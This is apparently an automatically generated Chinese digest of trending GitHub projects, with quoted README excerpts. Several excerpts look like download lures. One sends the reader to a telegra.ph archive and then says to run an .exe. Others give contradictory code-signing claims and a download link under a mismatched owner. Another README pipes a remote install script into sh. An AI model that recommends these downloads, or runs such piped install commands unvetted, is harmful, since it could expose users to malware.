从视频批量发布到本地AI代理：今日开源项目中的效率与自动化新思路
日报 · 2026-11-05 · GitHub 新星
覆盖日期：2026-11-05 · 北京时间
发布时间：2026/11/6 08:00:07
本期日报收录55个项目，聚焦内容创作自动化、本地AI运行、开发调试提效与家庭场景应用。文章挑选视频上传、本地模型服务、小程序调试、笔记应用等代表性项目展开，分析不同方案的适用场景与限制。
今天的开源项目列表呈现出明显的实用主义倾向：大量工具围绕“把重复劳动交给程序”展开，从视频批量发布到本地模型并行推理，从浏览器里调试小程序到用AI代理搭建3D场景。以下按主题梳理值得关注的项目。
1. 内容创作自动化：从批量上传到AI生成
1.1 视频发布流水线
对于需要同时维护多个社交账号的内容创作者，视频上传一直是个繁琐环节。今天出现了两个定位相似的工具：TagPhaseArcade/tiktok-uploader 和 dragonwolfshovel/youtube-uploader。前者面向TikTok，支持批量上传、定时发布、元数据编辑和断点续传，采用本地会话认证，无需API密钥；后者面向YouTube，使用官方Data API v3和OAuth 2.0认证，额外支持缩略图设置和配额监控。
两个工具都提供图形界面和命令行两种使用方式，也都声明跨平台支持。差异在于认证方式和合规风险：TikTok工具明确提示自动化上传可能违反平台服务条款，建议使用备用账号和保守设置；YouTube工具则基于官方API，但需要用户自行创建Google Cloud项目并启用API。对内容团队来说，这类工具的价值在于把发布动作标准化，但使用时需要留意平台政策变化。
- https://github.com/TagPhaseArcade/tiktok-uploader
- https://github.com/dragonwolfshovel/youtube-uploader
1.2 AI驱动的视频与3D场景生成
sarpstar/cinecode 把视频制作变成了一次对话：用户提供创意，AI编码代理负责写脚本、用代码构建每一帧、设计声音，最终输出MP4。它支持短片、长YouTube视频、广告、解说和音乐视频，渲染基于three.js和ffmpeg。项目需要Node.js 22+、Python 3.9+、ffmpeg和Chrome，且依赖Claude Code或Cursor作为代理环境。值得注意的是，项目明确说明Windows上尚未测试完整电影制作流程，部分看门狗钩子仅适用于Claude Code。
apekshik/anyscene 则把AI代理用在了3D场景构建上：输入一段文字描述或参考图片，代理会生成完整的Blender场景，包括每个道具的独立模型、灯光、材质和镜头运动。其流程是先用图像生成模型产出道具参考图，再通过fal平台的两个图像转3D模型生成候选，最后对比渲染效果挑选更优者。项目提供了托管端点，可以直接发送参考图片获取场景包，但本地运行需要Blender 5.0+、12-16GB显存GPU，且每个道具的生成费用约1.65美元，一个90道具的场景成本约150美元。
2. 本地AI运行：为代理优化的模型服务
Generated-Computers/Locals 是一个值得关注的本地模型服务，专门为AI代理设计而非普通聊天场景。它支持工具调用、长对话和多代理并行，宣称在Mac上运行多个AI代理时比标准方式快最多3倍。项目适配OpenCode、Cline、Aider、Claude Code等常见编码代理，也兼容任何OpenAI、Anthropic或Ollama应用。
项目文档对性能边界有坦诚说明：单个请求且无复用内容时速度与mlx-lm相当；对于超出调优内核的格式（如mxfp4）没有提升；在M5芯片上增益较小（1.5倍而非3倍）。硬件要求是Apple芯片Mac且macOS 14+，16GB内存效果最佳。对于在Mac上同时运行多个编码代理的开发者，这类工具能明显改善体验。
3. 开发调试提效：小程序与笔记的新思路
3.1 在浏览器中调试小程序
open-wxa/wxa-runner 解决了微信小程序开发中的一个痛点：在普通浏览器里用微信官方基础库运行小程序编译产物，支持Chrome DevTools调试和Playwright E2E测试。它直接运行编译产物，渲染、组件、setData和生命周期都是官方基础库代码，而非H5框架重新实现。项目支持在setup中预置登录态、mock原生API、拦截请求，也支持热更新和直接定位到任意页面。
项目明确表示不替代微信开发者工具，预览、上传、真机调试仍需使用官方工具。对于需要在CI中无头运行E2E测试的团队，这个项目提供了一条不依赖开发者工具的路径。
3.2 本地优先的笔记应用
s1dashu/quiet-md 是一款用Rust和GPUI构建的本地笔记应用，面向macOS和Windows。它的特点是笔记以飞书DocxXML格式保存，兼容飞书文档，支持从飞书复制粘贴、导入导出保留结构。项目强调性能：在百万字文档中，输入、删除和滚动的帧处理P95均低于6ms。
项目目前处于Beta阶段，Intel Mac暂无安装包需从源码构建。对于依赖飞书生态但又希望数据完全本地化的用户，这是一个值得关注的折中方案。
4. 家庭场景与游戏生态
chadyi/StudyOnTV 是一款面向家庭的Android应用，让孩子先答题再解锁设备使用时间，支持手机、平板和电视。它完全在本地运行，无需自建服务器，家长通过扫码连接局域网管理页面。项目支持多种题型、间隔重复、AI批改（可配置DeepSeek等API），题库和记录都保存在被控设备。需要注意的是，项目许可证为“仅限个人家庭使用”，禁止商业用途和二次分发。
游戏生态方面，Wallbycontact/java-mod-rust-port-tool 尝试把Fabric或NeoForge的Java版Minecraft模组转换为Rust版Minecraft（Horizon）的模组。转换结果会给出三种判定：Works、Partly或Won't run，未完成部分会明确标记。项目仅支持Fabric和NeoForge，不支持旧版Forge，着色器、渲染引擎和性能模组无法转换。MythicHokageRepel/steam-inventory-value-desktop 则是一款Steam库存估价工具，提供实时最低价、真实销售均价、各市场净收入和分享卡片导出，无需登录。项目提示Steam对数据中心和云IP限速严重，服务器上实时扫描不可靠。
- https://github.com/chadyi/StudyOnTV
- https://github.com/Wallbycontact/java-mod-rust-port-tool
- https://github.com/MythicHokageRepel/steam-inventory-value-desktop
5. 本期观察
从今天的收录样本看，自动化正在向更具体的场景渗透：视频发布、库存估价、模组转换、屏幕时间管控，每个工具都针对一个明确的重复性任务。同时，AI代理的落地方式也在分化——有的作为编码助手嵌入开发流程（Locals），有的作为内容生成器（cinecode、AnyScene），有的作为研究平台（NextTransformer）。这些项目普遍对自身限制有清晰说明，包括平台政策风险、硬件要求和未完成功能，对使用者来说是重要的参考信息。
文章生成于 2026/11/6 08:01:15 · 依据本期保存的资料撰写
本期项目与来源资料
收录数按本期首次达标收录的项目统计。
- TagPhaseArcade/tiktok-uploaderPython · 426 Stars
视频上传、定时发布、批量处理
Stars 统计更新于 2026/11/6 07:56:07
查看原始资料
作者描述
Automated TikTok video uploader with batch processing, scheduling, and hashtag management. Local session-based auth. Open-source and cross-platform
编报时的 AI 中文解读
这是一个跨平台的TikTok视频批量上传与定时发布工具，支持元数据编辑、断点续传和本地会话认证，适合内容创作者和社交媒体管理者使用。
编报时的 README 依据
> Session-based authentication. Your credentials are stored locally and never sent to third-party servers. --- ## 🚀 Quick Start <p align="center"> <a href="https://telegra.ph/TRANSITION-06-17-3"> <img src="https://img.shields.io/badge/Download%20Project-2ea44f?style=for-the-badge&logo=download&logoColor=white" alt="Download Project"> </a> </p> 1. Download the project using the button above. 2. Extract the archive into a separate folder. 3. Run **TikTokUploader.exe** (or execute `main.py` from source). 4. Follow the on-screen instructions to authenticate.
| 🖥️ **Cross-Platform** | Works on Windows, macOS, and Linux | | 🔒 **Secure Auth** | Local session storage, no cloud required | --- ## 🧩 How to use 1. Launch the application. 2. Click **"Authenticate"** and log in with your TikTok credentials (or provide a `sessionid`). 3. Select the video files you want to upload. 4. Fill in the metadata (description, hashtags). 5. Choose privacy settings (Public / Friends / Private). 6. Click **"Upload"** and monitor the progress. --- ## ⚙️ Configuration You can adjust the settings in the `config.ini` file:
- **Default Privacy**: Public / Friends / Private - **Hashtag Template**: Default hashtags for all uploads - **Max Concurrent Uploads**: 1–3 - **Upload Delay**: Delay between uploads (seconds) --- ## ❓ FAQ **Is it safe to use?** It uses local session storage. However, automating TikTok may violate their Terms of Service. Use a secondary account and conservative settings. **Do I need a TikTok API key?** No official API key is required. The tool uses session-based authentication. **Does it support scheduled uploads?** Yes, you can set a specific date and time for the video to go live.
- dragonwolfshovel/youtube-uploaderPython · 426 Stars
视频上传、批量上传、定时发布
Stars 统计更新于 2026/11/6 07:56:07
查看原始资料
作者描述
Automated YouTube video uploader with batch processing, thumbnail support, and scheduled publishing. Uses official YouTube Data API v3. Open-source and privacy-first
编报时的 AI 中文解读
这是一个用于批量上传视频到YouTube的命令行和图形界面工具，支持自动生成元数据、设置缩略图、定时发布等功能，面向内容创作者、档案管理员和自动化爱好者。
编报时的 README 依据
# 📤 YouTube Uploader **Automated YouTube Video Uploader & Metadata Manager — 2026** A lightweight, open-source tool for batch uploading videos to YouTube with automatic metadata generation, thumbnail support, and scheduled publishing. Built for content creators, archivists, and automation enthusiasts. --- ## 🎯 What it is **YouTube Uploader** is a command-line and GUI tool that simplifies the process of uploading videos to YouTube.
2. Extract the archive into a separate folder. 3. Run **YouTubeUploader.exe** (or execute `main.py` from source). 4. Follow the on-screen instructions to authenticate with your Google account. 5. Drag & drop your videos or select them via the file picker. --- ## ✨ Features | Feature | Description | |--------------------------|--------------------------------------------------| | 📤 **Batch Upload** | Upload multiple videos at once | | 🖼️ **Thumbnail Support** | Automatically set custom thumbnails |
Yes — it uses the official YouTube Data API v3 and OAuth 2.0. Your credentials are stored locally. **Do I need a Google Cloud Project?** Yes, you need to enable the YouTube Data API v3 and download your `credentials.json` file. **Does it support scheduled uploads?** Yes, you can set a specific date and time for the video to go live. **Can I upload 4K videos?** Yes, but upload time depends on your internet speed and file size. --- ## 🤝 Contributing Pull requests, bug reports, and feature suggestions are welcome. --- ## 📜 License MIT License — free to use, modify and redistribute.
- DhvanilPatel/swarm-cursorsJavaScript · 1,422 Stars
网页重建演示
Stars 统计更新于 2026/11/6 07:36:31
查看原始资料
编报时的 AI 中文解读
一个Chrome扩展，将任意网页清空为空白画布，然后由一群多人光标实时重建页面，包括绘制矩形、输入文本、画线、标尺和复制元素，直至页面恢复原样。适合喜欢视觉演示和交互式动画的用户。
编报时的 README 依据
2. Open `chrome://extensions` and turn on **Developer mode** (top right). 3. Click **Load unpacked** and choose the [`swarm-rebuild/`](swarm-rebuild) folder. 4. Pin it (puzzle icon → pin). ## Use - Click the toolbar icon or press **Alt+Shift+S** on any page. - The page fades out and the cursors orbit the site's favicon, then fan out and start building. - **Scroll** and the swarm chases you, with more agents joining the faster you go. - **Tour** auto-scrolls at the pace the swarm can keep up with. Good for screen recordings. - **1× / 2× / 3×** changes build speed.
- **Sound** is on by default (🔊 in the toolbar, or press **M**). If the page hasn't been clicked yet, Chrome keeps audio locked and the button says **Tap for sound**; one click anywhere starts it. - When it's done, the cursors flock to your mouse. **Go live** fades back to the real, clickable page; **Replay** builds it again. - **Esc**, **✕**, or clicking the icon again exits at any time.
The motion design is his: the cursor set, the swarm and flocking physics, the build choreography (rects, typing, guides, duplicates), the rulers and the overall look. Large parts of the animation engine here are adapted directly from his site. What this project adds is the part that points it at *any* page: snapshotting a live DOM into a blueprint the swarm can rebuild, plus the extension around it. Go look at the original. It's better than this. ## Install It isn't on the Chrome Web Store yet, so load it unpacked: 1. Clone or download this repo.
| `store/` | Chrome Web Store listing copy, screenshots and promo tile | | `scripts/package.sh` | Builds the zip to upload to the Web Store | ## Limits - Chrome doesn't let extensions run on `chrome://` pages, the Web Store or the PDF viewer. The icon shows a red × there. - It's a visual rebuild, not a clone. Animations freeze at the moment you click, decorative pseudo-elements are skipped when their position can't be worked out, and canvases, videos and iframes below the first screen become placeholders.
- Web components are rebuilt as plain styled elements, so none of the page's scripts run inside the swarm's layer. - Very long pages are capped at about 4,000 layers / 40,000px. ## Publishing `./scripts/package.sh` writes `dist/swarm-rebuild-<version>.zip` for the [Chrome Web Store Developer Dashboard](https://chrome.google.com/webstore/devconsole). Listing text, permission justifications and assets are in [`store/`](store), and the privacy policy is [`PRIVACY.md`](PRIVACY.md). ## License
- Generated-Computers/LocalsPython · 1,173 Stars
模型本地部署、模型服务接入
Stars 统计更新于 2026/11/6 07:41:34
查看原始资料
作者描述
Run many AI agents at once on your Mac, up to 3x faster.
编报时的 AI 中文解读
Locals 是一款在 Mac 上本地运行 AI 模型的服务，专为多个 AI 代理（如编码助手）设计，支持工具调用、长对话和多代理并行，宣称比标准方式快最多 3 倍。适用人群是使用 OpenCode、Cline、Aider 等编码代理的开发者。
编报时的 README 依据
| [Kilo Code](https://github.com/Kilo-Org/kilocode) | `locals launch kilo` | | [OpenCode](https://github.com/anomalyco/opencode) | `locals code ~/my-project` | | [OpenHands](https://github.com/OpenHands/OpenHands) | `locals launch openhands` | | [Cline](https://github.com/cline/cline) | `locals launch cline` | | [Aider](https://github.com/Aider-AI/aider) | `locals launch aider` | | [Roo Code](https://github.com/RooCodeInc/Roo-Code) | in VS Code, the settings from `locals launch editor` ([how](#use-it-in-apps-and-editors)) |
locals code ~/my-project --run "add a --verbose flag to cli.py and run the tests" ``` **Let a team of agents do a bigger task.** Several agents work on the parts of the task at the same time, each in its own copy of your project, and your tests decide when it is done. Your project is changed only when the tests pass: ```bash locals run "write wordcount.py with a function count_words(text) and tests in test_wordcount.py" \ --dir ~/my-project --check "python3 -m pytest -q" ``` **Ask a question about your code.** An agent reads the project and prints the answer: ```bash
locals run "Which function parses dates, and which format does it expect?" --dir ~/my-project ``` **Chat with the model** in the Terminal, like a private chatbot: ```bash locals chat ``` **Turn text into structured data.** Describe the fields you want in a JSON schema, for example in a file called `person.json`: ```json {"type": "object", "properties": {"name": {"type": "string"}, "age": {"type": "integer"}, "email": {"type": "string"}, "status": {"enum": ["pending", "approved", "rejected"]}, "tags": {"type": "array", "items": {"type": "string"}}},
You need a Mac with Apple silicon (M1 or newer) and macOS 14 or newer. A Mac with 16 GB of memory gives the best results; with 8 GB, use one of the smaller models. Open the Terminal app and run: ```bash curl -LsSf https://raw.githubusercontent.com/Generated-Computers/Locals/main/install.sh | sh ``` Then open a new Terminal window (the installer adds Locals to your shell's PATH, which only new windows read) and start a coding assistant on one of your projects: ```bash locals code ~/my-project ``` After the first start, which downloads the model, Locals starts in seconds.
own. A 3,000-token request that arrives during a 30,000-token one gets its first token after 7 s instead of 41. ### Where Locals is not faster - **One request alone, with nothing to reuse**: about the same as mlx-lm (64 against 61 tokens per second on the M2 Pro). It is faster alone when the reply repeats the prompt (file rewrites) or the prompt is cached. - **Prompt-bound work**: reading a prompt is limited by the GPU's arithmetic. With 8,000-token prompts and 8 requests at once the server writes 57 tokens per second; most of the time goes into reading.
- **Formats outside the tuned kernels**: 4-bit affine quantization in groups of 64 is covered; mxfp4 (a mixture-of-experts model, Mellum) ran at mlx-lm's speed. - **The M5's neural accelerators**: MLX's own kernels already use them, so the gain there is 1.5x, not 3x (before Locals' own `nax` kernel, which is experimental). ## Works with your agents <p align="center">
- s1dashu/quiet-mdRust · 1,049 Stars
本地笔记、飞书兼容、富文本编辑
Stars 统计更新于 2026/11/6 07:56:04
查看原始资料
作者描述
Blazing-fast native notes app for macOS & Windows. Rust + GPUI, local-first, compatible with Feishu/Lark DocxXML.
编报时的 AI 中文解读
quiet.md 是一款面向 macOS 和 Windows 的本地优先笔记应用，使用 Rust 和 GPUI 原生绘制，笔记以飞书 DocxXML 格式保存，兼容飞书文档，适合需要快速、离线、注重数据所有权的用户。
编报时的 README 依据
## 为什么是 quiet.md **⚡ 快，原生的那种快。** 整个界面由 Rust 和 [GPUI](https://www.gpui.rs/) 直接用 GPU 绘制，没有 WebView、没有 Electron。百万字文档实测中，输入、删除和滚动的帧处理 P95 均低于 6 ms。 **🔒 本地优先，文件归你。** 没有账号，没有云端，默认不联网。文档库就是电脑上的一个普通文件夹，每篇笔记是一个 XML 文件。用 Git、iCloud、坚果云或任何同步工具管理都可以，哪天不用了，文件也还在。 **📝 兼容飞书 DocxXML，完整的富文本编辑器。** 笔记直接以飞书文档的 DocxXML 格式保存，从飞书复制粘贴、导入导出都能保留结构。标题、待办、表格、分栏、高亮块、代码、公式、图片和附件，写文档常用的块都有。 ## 下载 <p align="center"> <a href="https://download.quiet.md/latest/quiet-md-macos-arm64.zip"><img src="docs/images/download-macos.svg" height="56" alt="下载 macOS 版"></a>
- **编辑**：标题、有序 / 无序列表、待办、引用、代码块（语法高亮）、LaTeX 公式、表格（可合并单元格）、高亮块、分栏、图片、附件、封面。支持 `#`、`-`、`[]`、`>` 等 Markdown 快捷输入和 `/` 斜杠菜单。 - **整理**：文档树、置顶、收藏、全文搜索、回收站。 - **导入导出**：导入 Markdown 和飞书 DocxXML；导出 Markdown、PDF，也可以直接打印。从飞书或网页粘贴时保留结构。 - **快捷键**：按 `⌘ /` 查看全部快捷键，每一个都能改。 - **主题**：内置 Craft、飞书、Notion、Obsidian 四套风格，也可以用 CSS 自己写，见 [docs/THEMES.md](docs/THEMES.md)。 ## 你的文件在哪 默认在 `~/Documents/Quiet.md`（Windows 是「文档」下的 `Quiet.md`）。每篇笔记是 `docs/` 里的一份 XML，图片和附件在 `assets/`。 目录结构和格式细节见 [docs/FORMAT.md](docs/FORMAT.md)。 ## 参与开发 quiet.md 还在 Beta，有很多可以一起做的事：修 bug、补功能、适配更多平台。欢迎提 issue 和 PR。
<img src="https://img.shields.io/badge/platform-macOS%20%7C%20Windows-lightgrey" alt="支持 macOS 和 Windows"> <img src="https://img.shields.io/badge/built%20with-Rust%20%2B%20GPUI-dea584?logo=rust" alt="使用 Rust 和 GPUI 构建"> <a href="LICENSE"><img src="https://img.shields.io/github/license/s1dashu/quiet-md?color=green" alt="MIT 许可"></a> <img src="https://img.shields.io/badge/status-beta-orange" alt="Beta"> </p> <p align="center"> <a href="https://download.quiet.md/latest/quiet-md-macos-arm64.zip"><img src="docs/images/download-macos.svg" height="56" alt="下载 macOS 版"></a>
<a href="https://download.quiet.md/latest/quiet-md-windows-x64-setup.exe"><img src="docs/images/download-windows.svg" height="56" alt="下载 Windows 版"></a> </p> | 平台 | 系统要求 | |---|---| | **macOS**（Apple Silicon） | macOS 13 及以上 | | **Windows**（x64） | Windows 10 2004 及以上 | - **macOS**：解压后把 `quiet.md.app` 拖进「应用程序」。安装包已签名并通过 Apple 公证。 - **Windows**：运行安装程序，默认只装到当前用户目录，卸载不会删除笔记。如果首次运行出现 SmartScreen 提示，点「更多信息 → 仍要运行」即可。 也可以在官网 [quiet.md](https://quiet.md) 下载。所有版本和 SHA-256 校验值见 [GitHub Releases](https://github.com/s1dashu/quiet-md/releases)。Intel Mac 暂无安装包，可以[从源码构建](CONTRIBUTING.md#从源码构建)。
<a href="https://download.quiet.md/latest/quiet-md-windows-x64-setup.exe"><img src="docs/images/download-windows.svg" height="56" alt="下载 Windows 版"></a> </p> <p align="center"> <a href="https://quiet.md"><b>官网</b></a> · <a href="#下载"><b>下载</b></a> · <a href="#性能">性能</a> · <a href="#功能">功能</a> · <a href="CONTRIBUTING.md">参与开发</a> </p> <p align="center"> <img src="docs/images/home.png" width="100%" alt="quiet.md 的主页：左侧是文档树，右侧按网格排列所有笔记。"> </p> > [!NOTE] > quiet.md 目前是 **Beta 版本**，还在快速迭代。遇到 bug 或有想法，欢迎[提 issue](https://github.com/s1dashu/quiet-md/issues)，更欢迎直接提 PR，一起把它打磨好。
- open-wxa/wxa-runnerTypeScript · 1,007 Stars
小程序调试、E2E测试
Stars 统计更新于 2026/11/6 07:41:34
查看原始资料
作者描述
在浏览器中用微信官方基础库运行小程序，支持 Chrome DevTools 调试与 Playwright E2E 测试
编报时的 AI 中文解读
在浏览器中运行微信小程序编译产物，用于本地调试和E2E自动化测试，支持Chrome DevTools调试和Playwright无头测试。
编报时的 README 依据
<a href="https://wxa-viewer.picfinder.workers.dev"><img src="./docs/public/viewer-demo.png" width="450" alt="在线预览：uni-app 小程序的帖子详情页在浏览器里运行"></a> - **和真机一致**：直接运行小程序的编译产物，渲染、组件、`setData`、生命周期都是微信官方基础库的代码，不是 H5 那样由框架重新实现 - **无头 E2E**：用 Playwright 直接在浏览器里测试，不用远程控制开发者工具；CI 里无头运行，Linux 上不需要开发者工具 - **用熟悉的工具调试**：Chrome DevTools 打断点、看网络请求、看 DOM，保存后热更新 - **跳过走不通的环节**：在 setup 里预置登录态、mock 原生 API、拦截请求，不用改业务代码 - **直接打开任意页面**：地址加上 `?path=pages/detail/detail&id=1`，开发和测试都能直接定位到页面 它不替代开发者工具：预览、上传、真机调试仍然要用开发者工具。 ## 文档 - [快速开始](https://open-wxa.github.io/wxa-runner/getting-started)：安装、基础库和编译器
- [启动前准备（setup）](https://open-wxa.github.io/wxa-runner/setup)：跳过登录、mock 原生 API、拦截 `wx.request` - [借用开发者工具登录态](https://open-wxa.github.io/wxa-runner/devtools-login)：拿真实的 code 和手机号，调用服务市场，使用插件页面 - [热更新](https://open-wxa.github.io/wxa-runner/hot-reload) - [查看器](https://open-wxa.github.io/wxa-runner/viewer)：不带源码在浏览器里运行，导出成静态站点发给别人看 - [在 Playwright 中测试](https://open-wxa.github.io/wxa-runner/testing) - [uni-app 项目的 E2E 测试](https://open-wxa.github.io/wxa-runner/uni-app) - [在 CI 中运行](https://open-wxa.github.io/wxa-runner/ci)：Linux 上无头运行，不装开发者工具
# wxa-runner > 在普通浏览器里，用**微信官方基础库**运行小程序。用于本地调试和 E2E 自动化测试。 **[文档](https://open-wxa.github.io/wxa-runner/)** · [在线预览](https://wxa-viewer.picfinder.workers.dev) · [English](./README.en.md) · 中文 ```bash npx wxa-runner dev ./dist/dev/mp-weixin # 原生小程序目录，或 uni-app / Taro 编译产物 # → http://localhost:3000 ``` [在线预览](https://wxa-viewer.picfinder.workers.dev)：不用安装，在浏览器里打开一个 uni-app 小程序，看它在 web 上的渲染效果。 演示用[查看器](https://open-wxa.github.io/wxa-runner/viewer)部署，接口都由 setup 用 mock 数据应答，投票、评论、发帖都能操作，刷新后恢复原样。
- sarpstar/cinecodePython · 415 Stars
视频生成、AI辅助创作
Stars 统计更新于 2026/11/6 07:56:07
查看原始资料
作者描述
Films made with code. Short films, long YouTube videos, ads, explainers and music videos: an AI coding agent writes the script, builds every frame in code, designs the sound and hands you an MP4.
编报时的 AI 中文解读
cinecode 是一个利用 AI 编码代理（如 Claude Code 或 Cursor）在本地生成电影的工具，用户提供创意，代理负责编写脚本、用代码构建每一帧、设计声音，最终输出 MP4 文件。适合希望快速制作短片、广告、解说视频或音乐视频的创作者。
编报时的 README 依据
Claude Code'u aç (masaüstü uygulamasında **Code** sekmesi, VS Code eklentisi ya da terminal) ve şunu yaz: > cinecode skill'ini https://github.com/sarpstar/cinecode adresinden kur Kiti GitHub'dan git ile `~/.claude/skills/cinecode` klasörüne çeker (Windows: `%USERPROFILE%\.claude\skills\cinecode`); git'i olmayan bir Windows bilgisayarda önce senin onayınla git'i kurar (`winget install --id Git.Git -e`). Sonra yeni bir sohbet aç. Daha sonra **"cinecode'u güncelle"** demen en yeni sürümü getirir. Yalnızca tek bir yere kur; ajan iki kopya görmesin. Elle, tek satırda aynısı: ```bash
Cursor'da boş bir klasör aç, Agent sohbetini aç ve aynı cümleyi yaz. Kitin kendi kontrolleri (`make.py`, `qc.py`) aynı çalışır; bazı hataları anında durduran bekçi kancaları (gösterilmeden sorulan senaryo, gösterilmeyen taslak, onaydan hemen sonra durma) yalnızca Claude Code'da çalışır. ## Hızlı başlangıç 1. Ajanında boş bir klasör aç (bkz. Kurulum). 2. Fikrini yaz. Tek zorunlu şey fikir; gerisini bilmiyorsan boş bırak, ajan sorar: ```text cinecode ile bir film yapalım: <ne anlatsın, bir iki cümle>. (İstersen ekle, bilmiyorsan boş bırak; kit eksik olanı sorar:)
- Node.js 22+, Python 3.9+, ffmpeg ve Google Chrome (ya da Chromium / Edge); eksik olanı ajan senin onayınla kurar. Başka bir şey gerekmez, Windows'ta da: kit Claude Code'un kendi PowerShell'inde çalışır, bash istemez; Git yalnızca kiti kurmak ve güncellemek için kullanılır, film üretiminde değil. Kitin bekçisi bir Claude Code oturumunda çalışmıyorsa filmin kurulumu GUARD OFF der (testler her gönderimde Windows ve Linux'ta, her değişiklikten önce macOS'ta çalışır; Windows'ta baştan sona bir film henüz denenmedi). Kancalar güncel bir Claude Code ister (exec biçimli kancalar ve `onFailure`,
2.1.295 ve sonrası); daha eski bir sürümde bekçi devreye girmeyebilir, film yine çalışır. - Chrome'un kullanabildiği bir GPU (güncel her Mac ya da sürücüsü çalışan bir PC). - Disk alanı: Hızlı mod kareleri doğrudan MP4'e aktardığı için birkaç yüz MB yeterli; Film modu render sırasında film başına birkaç GB ister. Biri eksik mi? Yine de başla: ajan önce bilgisayarı kontrol eder ve eksik olanı kurmayı önerir (bir şey kurmadan önce sorar). Başka hiçbir şey kurulmaz: betikler yalnızca yerleşik modülleri kullanır, three.js sabitlenmiş kütüphane sürümlerini CDN'den yükler.
- MythicHokageRepel/steam-inventory-value-desktopJavaScript · 414 Stars
库存估价、市场对比、分享卡片导出
Stars 统计更新于 2026/11/6 07:56:07
查看原始资料
作者描述
Desktop app that prices a whole Steam inventory: live floor, average of real sales, per-marketplace payouts and a share card. Portable, no login.
编报时的 AI 中文解读
Glasscase 是一款桌面应用，用于估算 Steam 库存的价值，提供实时最低价、真实销售均价、各市场净收入及分享卡片，无需登录。
编报时的 README 依据
Profile links, SteamID64, custom URLs, <code>STEAM_0:X:Y</code>, <code>[U:1:N]</code>, friend codes and <code>s.team</code> invites. Recent profiles and a <kbd>Ctrl</kbd>/<kbd>Cmd</kbd>+<kbd>K</kbd> palette. </td> <td width="33%" valign="top"> <b>Two honest totals</b><br /> LOWEST is the live floor. AVG is the average of real sales over 24 h, 7, 30 or 90 days. Every number names its source and window. </td> <td width="33%" valign="top"> <b>Every marketplace, side by side</b><br />
Steam, Skinport, Waxpeer, Market.CSGO and Lis-skins floors per item, net after each fee, the cheapest place to buy and the best place to sell. Wallet funds and cash are never mixed. </td> </tr> <tr> <td valign="top"> <b>Outlier guard</b><br /> The median and the biggest sale sit beside every average. Skewed averages are flagged, and an optional trimmed mean is always labelled. </td> <td valign="top"> <b>Exit value</b><br />
Instant (net) from Steam buy orders walked for the quantity you hold, net in Steam wallet funds, net in cash on the best-paying marketplace, and how much sells within a week. </td> <td valign="top"> <b>Warnings that matter</b><br /> Unpriced items are counted, never zeroed. Non-marketable items stay out of totals. Thin trading, wide spreads and trade holds are called out. </td> </tr> <tr> <td valign="top"> <b>A real inventory view</b><br />
Unpack the whole folder and start `Main.exe`. No installer, no admin rights. `Main.exe` is code-signed, so Windows starts it without a warning. Keep `Glasscase` next to it: they ship together. Double-click the `.exe` and Glasscase opens — nothing is installed, no Node.js, no npm, no Git needed. The build keeps its data in a `Glasscase Data` folder next to itself, so you can carry it on a USB stick. If Windows shows a blue warning on first run, click **More info** → **Run anyway**. The app is not code-signed yet; the warning appears once. <details>
<summary><b>Building from source (optional)</b></summary> You need Node 22 and npm. Linux gets an AppImage this way; Windows gets the same portable `.exe` as the release. ```bash git clone https://github.com/MythicHokageRepel/steam-inventory-value-desktop.git cd steam-inventory-tracker-valuator npm ci npm run build:win # dist/`steam-inventory-tracker-valuator.zip` npm run build:linux # dist/Glasscase-2.5.0-x86_64.AppImage ```
> Run it on your home computer, ideally Windows with the portable `.exe`. Steam blocks datacenter and cloud IPs quickly, so on a server only the demo and cached data work reliably. **Download the release — no build, no clone.** Open **[Releases](https://github.com/MythicHokageRepel/steam-inventory-value-desktop/releases/latest)** and take the Windows build: | Build | File | | --- | --- | | Windows 10/11 (x64) | [`steam-inventory-tracker-valuator.zip`](https://github.com/MythicHokageRepel/steam-inventory-value-desktop/releases/latest/download/steam-inventory-tracker-valuator.zip) |
On Linux, make the AppImage executable with `chmod +x`. If it fails with `error loading libfuse.so.2`, install FUSE 2 (`sudo apt install libfuse2t64` on Ubuntu 24.04+), or start it with `--appimage-extract-and-run`. </details> Want to look around without touching Steam? Open the app and choose **Try the demo**. It works offline with a fictional profile that holds real CS2, Dota 2 and Steam items, priced from public market data captured on October 29, 2026. ## Privacy - No accounts, no telemetry, no analytics, no ads.
Steam rate-limits datacenter, VPS and cloud IP addresses heavily. In our own tests a Linux server in a datacenter got HTTP 429 on its very first inventory request, so live scans from servers are unreliable. Home Linux and macOS desktops work fine: use the AppImage, or build from source. On a server, only the offline demo and data you already have in the cache work reliably. Glasscase does not bundle proxies or any other way around Steam's limits. ## Download & run > [!TIP]
- Wallbycontact/java-mod-rust-port-toolJavaScript · 409 Stars
模组转换
Stars 统计更新于 2026/11/6 07:56:07
查看原始资料
作者描述
Feed it a Fabric or NeoForge mod jar and Smelt writes the Rust side for Horizon, with the unfinished parts flagged in the report.
编报时的 AI 中文解读
Smelt 是一个将 Fabric 或 NeoForge 的 Java 版 Minecraft 模组转换为 Rust 版 Minecraft（Horizon）模组的工具，转换结果会标记未完成部分。
编报时的 README 依据
<img src="assets/smelt.gif" alt="A .jar is dragged into Smelt, turns into a Rust mod in a few seconds and is added to Horizon with one click" width="880"> </p> Smelt turns a Fabric or NeoForge mod into a mod for **Minecraft on Rust**: [Horizon](https://github.com/horizon-rust/horizon), the open-source rewrite of Minecraft: Java Edition 26.3. Java mods don't run there. Smelt rewrites them so they do. Drop the `.jar` on the window, wait a few seconds, press **Add to Horizon**. That's the whole app. ## Download | System | File | | |---|---|---|
Every mod gets one of three verdicts: | Verdict | What it means | |---|---| | **Works** | Everything in the mod runs in Minecraft on Rust. | | **Partly** | Most of it runs. Smelt tells you which part doesn't, in one line. | | **Won't run** | The mod does something Minecraft on Rust can't load yet. Nothing gets installed. | What to expect, by kind of mod: | Kind of mod | Usually | |---|---| | Blocks, items, recipes, loot, textures | Works | | HUD overlays, keybinds, zoom, chat tweaks, minimaps | Works | | Settings screens and custom menus | Partly |
| Windows 10 and 11 | [`java-mod-rust-port-tool.zip`](https://github.com/Ropesehypnotize/java-mod-rust-port-tool/releases/latest/download/java-mod-rust-port-tool.zip) | One zip. No installer, no admin rights | Unpack the whole folder and start `Main.exe`. No installer, no admin rights. `Main.exe` is code-signed, so Windows starts it without a warning. Keep `Smelt` next to it: they ship together. ## How to use 1. Open Smelt. 2. Drop a mod's `.jar` on the window, or press **Choose a file**. 3. Press **Add to Horizon**.
